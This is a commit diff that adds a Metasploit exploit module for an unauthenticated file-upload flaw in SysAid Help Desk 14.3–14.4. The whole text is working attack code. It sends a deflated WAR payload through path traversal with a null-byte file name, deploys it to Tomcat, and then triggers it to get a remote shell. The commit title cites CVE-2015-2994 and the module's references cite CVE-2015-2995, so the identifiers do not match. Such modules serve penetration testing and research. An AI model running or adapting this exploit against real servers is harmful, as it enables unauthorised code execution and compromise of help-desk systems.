Land rapid7#5473, @pedrib's exploit for Sysaid CVE-2015-2994

* sysaid rdslogs arbitrary file upload

Author: jvazquez-r7

modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb

@@ -0,0 +1,135 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'zlib'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => "SysAid Help Desk 'rdslogs' Arbitrary File Upload",
+      'Description' => %q{
+        This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4.
+        The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated
+        file uploads and handles zip file contents in a insecure way. Combining both weaknesses
+        a remote attacker can accomplish remote code execution. Note that this will only work if the
+        target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduce a protection
+        against null byte injection in file names. This module has been tested successfully on version
+        v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid
+        seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability
+        from being exploited.
+      },
+      'Author'       =>
+        [
+          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
+        ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          [ 'CVE', '2015-2995' ],
+          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
+          [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
+        ],
+      'DefaultOptions' => { 'WfsDelay' => 30 },
+      'Privileged'  => false,
+      'Platform'    => 'java',
+      'Arch'        => ARCH_JAVA,
+      'Targets'     =>
+        [
+          [ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Jun 3 2015'))
+
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptInt.new('SLEEP',
+          [true, 'Seconds to sleep while we wait for WAR deployment', 15]),
+        OptString.new('TARGETURI',
+          [true, 'Base path to the SysAid application', '/sysaid/'])
+      ], self.class)
+  end
+
+
+  def check
+    servlet_path = 'rdslogs'
+    bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
+      'method' => 'POST',
+      'vars_get' => {
+        'rdsName' => bogus_file
+      }
+    })
+
+    if res && res.code == 200
+      return Exploit::CheckCode::Detected
+    end
+  end
+
+
+  def exploit
+    app_base = rand_text_alphanumeric(4 + rand(32 - 4))
+    tomcat_path = '../../../../'
+    servlet_path = 'rdslogs'
+
+    # We need to create the upload directories before our first attempt to upload the WAR.
+    print_status("#{peer} - Creating upload directory")
+    bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
+    send_request_cgi({
+      'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
+      'method' => 'POST',
+      'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))),
+      'ctype' => 'application/xml',
+      'vars_get' => {
+        'rdsName' => bogus_file
+      }
+    })
+
+    war_payload = payload.encoded_war({ :app_name => app_base }).to_s
+
+    # We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
+    print_status("#{peer} - Uploading WAR file...")
+    res = send_request_cgi({
+      'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
+      'method' => 'POST',
+      'data' => Zlib::Deflate.deflate(war_payload),
+      'ctype' => 'application/octet-stream',
+      'vars_get' => {
+        'rdsName' => "#{tomcat_path}/tomcat/webapps/#{app_base}.war\x00"
+      }
+    })
+
+    # The server either returns a 200 OK when the upload is successful.
+    if res && res.code == 200
+      print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
+      register_files_for_cleanup("tomcat/webapps/#{app_base}.war")
+    else
+      fail_with(Failure::Unknown, "#{peer} - WAR upload failed")
+    end
+
+    10.times do
+      select(nil, nil, nil, 2)
+
+      # Now make a request to trigger the newly deployed war
+      print_status("#{peer} - Attempting to launch payload in deployed WAR...")
+      res = send_request_cgi({
+        'uri'    => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
+        'method' => 'GET'
+      })
+      # Failure. The request timed out or the server went away.
+      break if res.nil?
+      # Success! Triggered the payload, should have a shell incoming
+      break if res.code == 200
+    end
+  end
+end